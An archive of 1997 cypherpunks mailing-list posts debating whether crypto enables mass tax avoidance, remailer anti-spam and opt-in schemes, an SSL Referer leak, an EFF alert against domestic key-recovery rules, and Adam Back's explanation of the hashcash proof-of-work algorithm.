To: cypherpunks@toad.com
Subject: Hard to Tax Scenario
Cc: hanson@hss.caltech.edu
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Robin Hanson, inventor of the Idea Futures prediction market, is a very
creative and thoughtful writer who has posted to this list occasionally.
He says he sent the message below to the CP list over the weekend, but
I didn't see it.  I am including it (in bits and pieces) in its entirety
for the benefit of others who may also have missed it.

Robin Hanson, <hanson@hss.caltech.edu>, writes:

> Hi.  The volume here is too high for me to subscribe regularly, but I
> subscribed recently so I could ask the following question:
>
>   How well thought out is the notion that widespread crypto could
>   allow a large fraction (>30%?) of the economy to avoid taxation?
>
> I've heard this speculation many times, and just saw it in print in,
> in David Friedman's article in the summer '96 issue of Social
> Philosophy and Policy.  But I have trouble imagining how it could
> work.

For those who don't know, by the way, David Friedman is the son of
Nobel prize winning economist Milton Friedman.  Both father and son
have libertarian leanings, and David in particular has tackled some
of the hardest problems which would be faced by an anarchic society.

> Imagine Ann is a doctor who wants to ply her trade without taxation.
> Patients go a local high res medical net booth, which Ann runs from
> long distance using several real time digital mixes.  To do this, Ann
> spends most of each day in her expensive home VR room.

So we are imagining a future scenario in which medicine is commonly if
not universally practiced via these remote means?  Or do we have two
classes of doctor, the anonymous virtual ones and the identified ones
that you go and see in person?  I ask because at least some of the
difficulties Ann faces seem due to her virtual practice.

> Patients pay Ann in untraceable cash, which she uses to pay for
> groceries and other net services.  Her cover story about why she
> spends so much time in her home VR room, and how she pays for
> groceries, is that she is a receptionist for some sham company.

The need for a cover story raises the question of from whom Ann has
to keep her secrets.  In a society where (we will stipulate) 30% avoid
taxation, the moral significance of not paying taxes will be different
than it is today.  We had some interesting posts in an earlier discussion
on this list describing the situation in Italy, where apparently tax
avoidance is raised to a higher degree than in the U.S.  It sounded like
it has the approximate moral status that speeding does here, a minor
infraction which almost everyone does some if not all of the time.
In some sub-cultures no doubt the tax avoidance rate would be even higher.

In such a society Ann may not have to care that much about keeping her
secrets, as long as she doesn't have too high a profile at tax time.

> Ann has many collegues which she does business with regularly,
> including equipment suppliers, a pharmacist, a nurse practitioner,
> emergency substitutes, and various specialists.  Ann has never met any
> of these people in person, and they all show each other fake faces,
> voices, and even rythms of walking and speaking.  Ann's social life
> outside VR is entirely divorced from her work life.

Well, that last part is true for me already; I telecommute to a company
300 miles away and have no social life with my co-workers.  For that
matter my wife and I have practiced cocooning for several years,
and I haven't had a close friend from work since the early 1980's.
Being married makes this easier, of course.

The other part of this scenario, where Ann interacts with her co-workers
via fake faces, does seem disturbing.  I could imagine, though, that this
might be common in such a culture.  Maybe everyone pretties themselves
up when on the videophone.  If there is widespread understanding that
most faces are at least somewhat false, then perhaps going all the way
to a completely faked up face would seem more acceptable.  But to someone
from my generation it will be hard to accept.

> To convince patients to trust her, Ann gets bonded by a certification
> service.  To obtain this certification, Ann must be careful to not
> refer to any people who know her "true name", such as her teachers at
> the physical school she physically attended.  And Ann must somehow
> assure the certification service that she will not resell the
> certification, allowing others to pretend that they are her.

It is possible that we might see a more performance-based certification
rather than a recommendation based one.  My wife is a physical therapist,
and she had to pass a licensure exam given by the state which qualifies
her to practice.

In an earlier message to me Robin pointed out the crucial role played
by recommendations in hiring decisions.  Certainly I would be much more
likely to hire someone who listed his previous jobs and for whom I could
get good recommendations by his earlier supervisors than an applicant
who insisted that this information was confidential.

Robin also suggested that there could be a selection effect, so that the
doctors from good schools with good grades would use these advantages to
maximize their income, and so the only anonymous ones would be the ones
who didn't have these qualifications.  This could lead to a situation
where most anonymous service providers were assumed to be inferior to
regular ones, so they would get less money even if they were actually
just as good.  (I apologize to Robin if I missed the point of his
earlier discussion or am presenting it incorrectly.)

Even with such disadvantages, a doctor like Ann might accept a lower fee
at first while she builds up her reputation as an anonymous doctor with
talent and ability.  After a few years she could hope to have overcome
the stigma which (we will suppose) anonymous doctors face and display
some strong recommendations based on her successes.  In the long run
this could be a winning strategy due to the tax savings.

(I haven't given the problem of reselling certificates enough thought to
discuss it in any detail.  There have been some discussions of "is a
person" credentials which could apply, but that opens up a big can of
worms.)

> If Ann ever slips up, revealing her true name to a virtual associate,
> failing to convince a physical associate of her sham employment,
> or if anyone ever breaks through her realtime digital mixes, Ann
> is open to expensive blackmail, she may have to start over with a
> new virtual persona, and may have to go to jail for a long time.

This is an interesting problem which I haven't seen discussed before
in this form.  In Vinge's original "True Names" people were afraid of
harrassment and physical threats if their identity were discovered, but
Robin's example of the danger of being exposed as a tax evader could be
very bad as well.  If there is this much tax avoidance, we might assume
that tax rates are high, and penalties for tax evasion are high as well.
On the other hand, if tax evasion is nearly universally practiced,
perhaps there are strong cultural pressures against turning someone in.

There is also the question of how good the technology is for anonymous
communication.  At best it would appear to require a widespread infra-
structure, and if this is used largely for tax evasion it is hard to see
how it could survive.  So I think this would be a very significant issue
to be faced by the prospective 'nym.

> It seems to me that Ann is paying a high price for an ability to
> avoid taxation, and at current tax rates it is hard for me to believe
> that she wouldn't just rather pay the taxes.  What am I missing?
>
> Robin D. Hanson  hanson@hss.caltech.edu  http://hss.caltech.edu/~hanson/

It is hard to judge how high the various prices are that she pays.
The socialization aspect may not be important if she has friends outside
work.  The risks of being caught will depend on factors we don't know,
like the technology and legal system.  Rather than assuming that tax
rates are the same, it might be more plausible to assume they have gone
up in order to keep revenues stable.

Another problem which Robin didn't mention is the issue of insurance
payments.  It is hard to see how Ann's patients can get reimbursed for
their expenses if we assume that Ann is in effect a "black market" doctor.
This problem may be somewhat specific to the medical scenario, but I
suspect that many other professions are going to have trouble switching
to a cash basis.  Anyone whose customers are businesses, for example,
will face the problem that the businesses' books will need to show that
an expense is justified in order to deduct it.  This will be a major
problem for the "anonymous firm" we have discussed occasionally.

One difficulty I find with this scenario is its science fictional nature.
It is hard for me to consider details about the life of a doctor who works
via VR.  Also, if we are already in a situation where 30% of people are
avoiding taxes there will certainly have been major changes in society,
but I don't know what they will be.  This makes it hard for me to focus
on the issues specific to Ann's anonymity.  However I do like Robin's
choice of a concrete and vivid example like this.

Hal







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Fri, 28 Mar 1997 21:49:32 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: remailer spam throttle
In-Reply-To: <TH804D2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970329004311.157C-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 28 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

-> I just came up with another idea which definitely has some holes in it,
-> but perhaps someone wants to improve on it.
-> 
-> There's a big distributed database of pgp keys on the several keyservers.
-> Add a bit to the database specifying whether the key owner wants to receive
-> anonymous e-mail.  By default set it to true for the existing addresses.
-> 
-> When the final remailer in the chain wants to send someone an anonymous
-> message, it attempts to retrieve a key from the keyservers.
-> 
-> If it fails to find a key, it junks the mail (you don't want to keep it
-> around, it's baiting the LEAs!) and instead sends a notification to the
-> recipient that some anon e-mail was addressed to it, but it was junked;
-> and if they want to receive anon e-mail, they need to give a pgp key
-> to one of the key servers this remailer uses.
-> 
-> If it finds a key, it looks at the anon mail bit; if it's on, it encrypts 
-> the e-mail with the recipient's key and sends it; otherwise it junks it.
-> 
-> Obviously, the key servers would need to be modified to allow users to
-> specify whether they want anon e-mail when then store their keys, and
-> to change this setting any time.
-> 
-> Right now, there's a very large number of addresses in the key servers.
-> Instantly making them into a list of addresses that accept anon mail
-> will make it hard (hopefully infeasible) for the LEAs to investigate
-> everyone willing to accept anon e-mail as a suspect in sending it.

Unfortunately, key servers can not be trusted.  I'm sure you're aware that
anyone can submit a key, and thus forgeries abound.

If the above model is adopted, key servers will be the first target of
the prospective spammer.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 28 Mar 1997 21:43:04 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: SSL weakness affecting links from pages with GET forms
In-Reply-To: <3.0.1.32.19970328195526.0066f3a0@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.95.970329003609.3732A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 28 Mar 1997, Bill Stewart wrote:

> http://www.zdnet.com:80/intweek/daily/970327x.html
> has an article about an SSL problem that affects both Netscape
> and MicrosoftIE browsers, leaking "secure" data such as
> credit card numbers from web pages with GET-based SSL forms on it.
> It was discovered by Dan Klein.
> 
> There isn't specific detail about how the flaw works,
> but it says that it affects GET forms but not POST.
> Commentary from NS, MS, Gene Spafford, and Steve Bellovin.
> 
>    "It's like you've gone to the restaurant with your lover," Klein said. 
>    "The restaurant is there, it's private, yet when you leave the restaurant 
>    you have the menu in your hand and there's food all over your shirt."

I would guess that this means that Netscape and Explorer send the complete
URL of the page that linked to another site in the "HTTP-REFERER" header in
the clear when SSL is used.  The only temporary solution is to use a local web
proxy that removes this header, or, as the article suggests, manually type in
an URL that is linked from a page using SSL.  I can't think of too many
situations where one might follow a link to another site immediately after
sending sensitive information, but the contents of the "HTTP-REFERER" header
are often logged, and the log is often world-readable...

> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzytJyzIPc7jvyFpAQE3gAf/frvfAWg44mEeg2AyhxlFKBmmh3yWEtmq
l8np9nTMz20/PHcF2uzDHrpSEcAY2WPcvEvu+57QGelU0H2LoH2qGFNeVisPQURE
9F5gUZvFeyubL9UVLlUoxVIMCumLM+y31zqVaMb8GwwGnHWNcHc1rqnUhchYamiJ
BbU04U3xaF5b5/mMBzKTU/tfTajeIDsAl0dhk0rzvXAMN2n26idoWic39ZzhHnsE
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=QOto
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 28 Mar 1997 23:14:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: ALERT: White House denigrating your right to secure your privacy (3/28/1997)
Message-ID: <199703290715.CAA21838@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| |         THE CRYPTO BATTLE HAS BEGUN!
| |_| | |   |  _| | |_) || | | |  CLINTON ADMINISTRATION PROPOSES CONTROL OF
|  _  | |___| |___|  _ < | | |_|     ENCRYPTION FOR AMERICANS ON U.S. SOIL
|_| |_|_____|_____|_| \_\|_| (_)               March 28, 1997

                 Do not forward this alert after May 1, 1997.

                         This alert brought to you by:
                     Center for Democracy and Technology
                                  Eagle Forum
                       Electronic Frontier Foundation
                       Voters Telecommunications Watch
                                 Wired Magazine
_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do Now
      Background
      What's At Stake
      Supporting Organizations

_____________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

On March 26, 1997, the Clinton Administration proposed draft legislation
which would, for the first time, impose DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

In its current form, the draft bill seeks to impose a risky
"key-recovery" regime which would compel American citizens to ensure
government access to their private communications. Law enforcement and
national security agents would not even need a court order to access
private decryption keys.

Congress is currently considering three separate bills which would
prohibit the government from imposing "key-recovery" domestically, and
encourage the development of easy-to-use, privacy and security tools
for the Net.

As more and more Americans come online, the Administration's plan is a
giant step backwards and would open a huge window of vulnerability to
the private communications of Internet users.  Americans expect more
when conducting private conversations with their doctors, families,
business partners, or lawyers.

Please read the Alert below to find out what you can do to protect your
privacy online.

________________________________________________________________________________
WHAT YOU CAN DO

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.  The time to blast Congress or the White House
   with phone calls and emails will come, but now is not the appropriate
   moment.

   Instead, please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Beginning Monday March 31, call the White House

   Internet public interest advocates continue to work the Hill in support
   of the three true encryption reform bills in Congress, Pro-CODE, SAFE, &
   ECPA II.  If you still feel a need to voice your opinion, however, you can
   call the White House to express your opinion.

   Step 1 - Beginning Monday March 31, call the White House

        Call 202-456-1111 9am-5pm EST.  Ignore the voice mail survey and
        press '0' to get a comment line operator.
            
   Step 2 - Tell them what you think about intrusions into your privacy!

	Operator: Hello, White House comment line!

SAY     YOU: I'm calling to oppose president's Internet encryption bill.
THIS ->      It infringes on the privacy of Americans. We need a solution
             to the encryption issue that protects privacy, and this is not
             it.

        Operator: Thank you, I'll pass that along to the President.

3. Spread the Word!

  Forward this Alert to your friends. Help educate the public about the
  importance of this issue.

  Please do not forward after May 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/
________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US. 

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________
SUPPORTING ORGANIZATIONS

For more information, contact the following organizations who have signed onto
this effort at their web sites.

Center for Democracy and Technology                      http://www.cdt.org
    Press contact: Jonah Seiger, +1.202.637.9800
Eagle Forum                                       http://www.eagleforum.org
    Press contact: Phyllis Schlafly, +1.314.721.1213
Electronic Frontier Foundation                           http://www.eff.org
    Press contact: Stanton McCandlish, +1.415.436.9333
Voters Telecommunications Watch                          http://www.vtw.org
    Press contact: Shabbir J. Safdar, +1.718.596.7234
Wired Magazine                                         http://www.wired.com
    Press contact: Todd Lappin, +1.415.276.5224

______________________________________________________________________________
end alert
==============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Fri, 28 Mar 1997 09:46:27 -0800 (PST)
To: dlv@bwalk.dm.com
Subject: Re: spam
In-Reply-To: <V5H74D19w165w@bwalk.dm.com>
Message-ID: <199703281745.FAA08525@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 26 Mar 97 09:58:54 EST, Dimitri Vulis KOTM wrote:

    > A while back we discussed on the cp mailing list a spec for a system that
    > provide junk e-mailers for free with a list of (hashed) addresses that
    > should be removed from any mass e-mail lists. Is anyone interested in
    > talking about the technical aspects of such a system?

Is there really anything to talk about?

I just implemented such a thing using SHA1 hashes.  Source code, a
database consisting of my address, and a Linux binary are available
(volunteers to compile other binaries, provide an FTP server, or add
their address(es) are welcome!)

It can add and delete addresses, check whether addresses are blocked,
and filter a list of addresses from stdin.  The database is stored as
a text file with the hexadecimal representation of the hashes written
one per line [actually, the first 0<=n<=5 digits of the hash are
appended to the file name, using multiple files to improve search
speed.]

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
A father doesn't destroy his children.
		-- Lt. Carolyn Palamas, "Who Mourns for Adonais?",
		   stardate 3468.1.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Sat, 29 Mar 1997 04:38:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario
Message-ID: <Pine.LNX.3.95.970329084225.8668A-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain



> Robin Hanson, <hanson@hss.caltech.edu>, writes:
> 
> >   How well thought out is the notion that widespread crypto could
> >   allow a large fraction (>30%?) of the economy to avoid taxation?
> [...]
> > Imagine Ann is a doctor who wants to ply her trade without taxation.

The good doctor Ann is not in the easy 30%, unless she is selling a
medical book she wrote over the Internet, or something like that.
There will be people who are much easier to tax than others, and I 
think Ann is one of those.

Today painters, plumbers, etc often give big discounts for cash payments.
The reason is they do not want to report their earnings.

Today many many people on welfare do odd jobs and take their checks to
places with signs like "Checks cashed - no ID required - 6%".  They
probably actually show ID, but the merchant cashing the check does not
write down a social security number.  The guy on welfare does not have
this earning tied to his social security number.  This is a very good
thing for him, because if the government knew he earned $100 they would
take $95 off his welfare check.  So it is much like he is avoiding his 95%
tax bracket.  And it is amazing to me how many people think, "those evil
businesses, taking advantage of those poor people who are too stupid to
open a bank account and so pay 6% to cash checks".  This is rational self
interest at work here, not stupidity.

If you add the painters, welfare people, drug dealers, etc.  We could well
be close to 30% of the economy long before all the cypherpunks form
corporations in Anguilla. 

  - Vince Cate







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 29 Mar 1997 08:56:45 -0800 (PST)
To: das@razor.engr.sgi.com
Subject: Re: [ANNOUNCE] hash cash postage implementation
In-Reply-To: <9703281824.ZM5275@razor.engr.sgi.com>
Message-ID: <199703291432.OAA00597@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Anil Das <das@razor.engr.sgi.com> writes:
> 	How does Dr. Bernstein's announcement of finding
> a 56 bit collision in md5 using a few hours on a Pentium
> affect this scheme? It was not clear from his post whether
> he was looking for a collision with a known hash, or just
> two different strings with a collision of the given length.

It is interesting that you should reference Dan Berstein's sci.crypt
post of a couple of days ago, as his post is what started me thinking
about using partial hash collisions as an anti-spam postage system
which preserves anonymity.  Also Rivest and Shamir have a system which
I was aware of called "MicroMint" which makes more complex use of
k-way hash collisions as the basis for a complete micro-payment
system.  Hal Finney described their system in outline a few days ago
on cypherpunks, and pointed out the similarity.

For remailers and spam control, the requirement is for a function
which is expensive to compute, but easy to verify.  The partial hash
collision satisfies this and can be arbitrarily expensive (1/100
second to 100s of MIPs years), and yet can be verified instantly.  The
hashcash proposal uses this function as the basis of a decentralised
approach to reduce abuse of non-metered internet resources.  

There are no banks, brokers or any other legally targetable entities
which will get shutdown, or coerced into adding identity escrow if
used for postage in anonymous communication.  As a result of this, the
recipient (an anonymous remailer, or private user) of the cash gains
no value which can be converted into other currencies, but rather the
assurance that the sender has spent more computing resources preparing
the message than he will in processing the mail request.

I'm fairly sure that Dan Bernstein was talking about a birthday
attack, as he was referring to the fact that he had used some
technique to keep the storage requirement down, and suggested that
those who claimed birthday attacks required high storage where wrong.

I think he was found an arbitrary 2-way collision.

Arbitrary in the sense that you don't care where the bits that collide
are in the hash outputs.

And 2-way in the sense that you are trying to find a hash collision of
any message texts (you don't care what), ie in:

	X = H( M )
	Y = H( N )

you are trying to find an M and N such that the bits of X and Y are
the same in n bit locations for an n-bit collision.

If you accept arbitrary collisions it makes the job easier (few of the
arbitrary collisions you find will have thier bits in your chosen
location if you specify restrictions on acceptable locations for the
colliding bits).

Hashcash does not accept arbitrary collisions, the only collisions
considered accepted by the client must be in the n MSbits.

Hashcash is trying to find a collision to a specific string, so it
does not involve the storage complexities of finding birthday attacks,
or the methods of finding them with lower storage requirments traded
for higher overhead.

Specifically, the hashcash client it is trying to find an n-MSbit
collision on the hash of M:

	M = day | resource-name
	X = H( M ) = H( day | resource-name )

The client looks for collisions on texts of the form:

	M' = M | counter = day | resource-name | counter
	X' = H( M' ) = H( day | resource-name | counter )

So, it's algorithm in finding hash collisions is incredibly simple:

	1. calculate X = H( day | resource-name )
	2. counter = random-start-point
	3. calculate X' = H( day | resource-name | counter )
	4. if the first n-bits of X and X' are equal STOP
	5. counter = counter + 1 
	6. goto 3.

The hash collision postage is M' = day | resource-name | counter.

And there is no easier way to find collisions if the hash function H
is one way and collision resistant, as the output bits can for these
purposes be treated as individual random variables having value 0 or 1
with 50% probability.  It is basically like tossing n coins in a row
seeing if the coins are all equal to your chosen set of outputs (head
= 0, tail = 1).

Funcion H in the hashcash implementation is SHA1.  The actual hash
used in effect is the short hash formed by discarding the remaining
160 - n bits of the 160 bit SHA1 output.


The hashcash client includes the "day" which is the days since 1 Jan
1970 to allow validity periods to be determined by acceptors of ecash,
or expiry dates for services charged for in hashcash.

The main purpose of the day field being hashed in is to allow the
hashcash acceptor to limit the size of his double spending database.

The purpose of the "resource-name" is to ensure that cash can not be
double spent by spending at different remailers, or different email
recipients.  The resource has a name (the email address, short
remailer name, whatever), and anyone who chooses a non-unique name
opens themselves up to double spending.  So the cash is recipient
specific.


You could if you wished use the hashcash client to implement a
centralised double spending database, and provide online verification
so that service providers can check for double spending.

This gives the advantage that the user can create some collisions
without having to decide on who to spend them on in advance.

For email I don't think it's worth it because the main intention is to
force the spammer to bear higher computer resource overheads than the
innocent by-standers (remailers, and recipients of unsolicited mass
mailings).

> > (Also I have not tested my SHA1 implementation on a big endian machine, it
> > auto-detects byte endian-ness, theoretically).
> 
> % ./sha1test
> test 1

Good, my bigendian check works.

> SHA1("abc") =
>         a9993e364706816aba3e25717850c26c9cd0d89d test ok
>
> % ./hashcash -t -22
> speed: 70921 hashes per sec
> find: 22 bit partial sha1 collision
> estimate: 30 seconds

Envious of your compute power -- about 10x my 120Mhz 486 linux based
system :-)

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 13:44:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <859624737.1120319.0@fatmans.demon.co.uk>
Message-ID: <THFc5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > > Well, they can compile the list of addresses off of USENET postings and
> > > such and then compute the hashes of the compiled names and identify
> > > those that are on the anon acceptance list. Not that it completely
> > > invalidates the idea, but certainly it is a problem.
>
> If a time delay isn`t a problem a remailer could operate on the list
> with a MAC, if someone wants to find out if a name is on the list
> they submit a request to the remailer operator who daily executes a
> batch job using a (memorised) key to verify the hashes against one
> another.
>
> Of course this gives no protection against the scenario of a law
> enforecement agency or shady TLA comprised of men in long black
> trenchcoats demanding the operator reveal the key to the MAC. I
> suppose there is always "I have forgotten the key, officer"..... ;-)

Yes. The remailer should contain as little "interesting" information
as possible at any given time, even if it's encrypted.

> > X sends 1000 copies of child porn/seditious libel to 100 people believed no
> > to be using remailers right now.  The remailer keeps the 100 e-mails onits
> > hard disk and e-mails each receipient a ping, inviting them to agree to the
> > disclaimer terms and to retrieve their anonymous e-mail.  The first recipie
> > to retrieve the e-mail gets upset and contacts the feds.  The feds figure,
> > remailer still has the 99 other e-mails and the information on who's suppos
> > to receive them in its queue; why not seize it and take a look.
>
> A possible solution to this is to set a time limit, say 24 hours on
> how long a proposed recipient may take to respond to a request for
> permission to send the mail. The remailer then sends the mail
> simultaneously to all those who agreed, those who declined to accept
> the mail or failed to repond are removed from the recipient list.

*If* the remailer keeps the e-mail until the recipient agrees to the
disclaimer and fetches it, then the timeout period should be longer
than 24 hours.  Not everyone checks their e-mail every 24 hours.
E.g., sometimes I'm away and don't check it for 3 or 4 days.
A friend of mine checks hers once or twice a week because she
doesn't get much.

Of course I'm advocating something more draconian - discard the
e-mail at once if the recipent isn't known and e-mail them how
they can get their mail next time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 13:42:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703290514.XAA00820@smoke.suba.com>
Message-ID: <goFc5D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> > That's a good idea, but it'll take up a lot of disk space at the
> > machine running the remailer.  Right now, remailers that provide
> > latency don't keep an e-mail for more than about 12 hours. Once
> > you start keeping them around for a few days (a reasonable grace
> > period for a first-time user), it's a lot more disk space.
>
> 	How 'bout this:
>
> 	There is (as we all know) a newsgroup for anonymous messages, Simply
> encrypt the message with one half of a public key pair, and send the other
> to the individual with a message saying that there is a message waiting
> for you on alt.anonymous.messages with a subject of ^CHojnafy&Ys9. This is
> the key to decrypt the first level. If you do not have access to usenet,
> you can get the message from www.dejanews.com &etc.

I don't like this for only one reason: you'll be wasting disk
space at thousands of usenet sites. I happen to think that alt.anonymous.
messages is a really wasteful communications channel. If it were used for
all the traffic now caried by the remailers, many syadmins would stop
carrying it (a lot of useless traffic). I would have if I had carried it. :-)

Also it's not fair to assume that everyone with access to e-mail can
also get web or usenet. One example that's still fairly common in a
user on a corporate computer behind a firewall.

> 	The encryption by the endpoint remailer is not intended to
> supply complete privacy, but rather to provide an additional level of
> protection for those who don't encrypt to begin with.

If the key is generated by the remailer, then a LEA might go on a fishing
expedition trying to figure how the key was generated and whether they can
generate the same key again. It's safer not to generate random keys.

> 	This has the benefit of (1) not dumping the email into a persons
> mail box, so they don't get "spam" they don't want. (2) getting possibly
> illegal material off the remailer machine as quickly as possible (well,
> off the remailer portion anyway, if the news spool is on the same machine,
> that is a different legal battle) and (3) disassocating the sender and
> receiver a little more.

These are all good things; I just wish they could be accomplished in a less
wasteful manner.  To replicate a file at thousands of usenet servers which
can only be decrypted by one person is, in my opinion, selfish net-abuse.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 16:10:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <Pine.LNX.3.95.970329004311.157C-100000@void.el.net>
Message-ID: <g5Fc5D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sergey Goldgaber <sergey@el.net> writes:
> -> Right now, there's a very large number of addresses in the key servers.
> -> Instantly making them into a list of addresses that accept anon mail
> -> will make it hard (hopefully infeasible) for the LEAs to investigate
> -> everyone willing to accept anon e-mail as a suspect in sending it.
>
> Unfortunately, key servers can not be trusted.  I'm sure you're aware that
> anyone can submit a key, and thus forgeries abound.
>
> If the above model is adopted, key servers will be the first target of
> the prospective spammer.

Why Sergey, you mean to tell me that there are key servers out there that
accept a key from a purported address and don't send back a cookie to that
address to see if it's not fake? :-) That's just terrible. Definitely no
key coming from such a server should be trusted. :-) :-)

Today is March 29, 1997 - almost April 1st. The Internet ain't what is
used to was 15 or 10 or even 2 years ago. If you get an e-mail that
purports to be from X, and it requests that you add X's public key
to your key server, or (un)subscribe X to a mailing list, or
block X from receiving anonymous e-mail - it may be a forgery.
Never act on such requests without trying to authenticate them
with a cookie.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 16:10:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703291126.LAA00386@server.test.net>
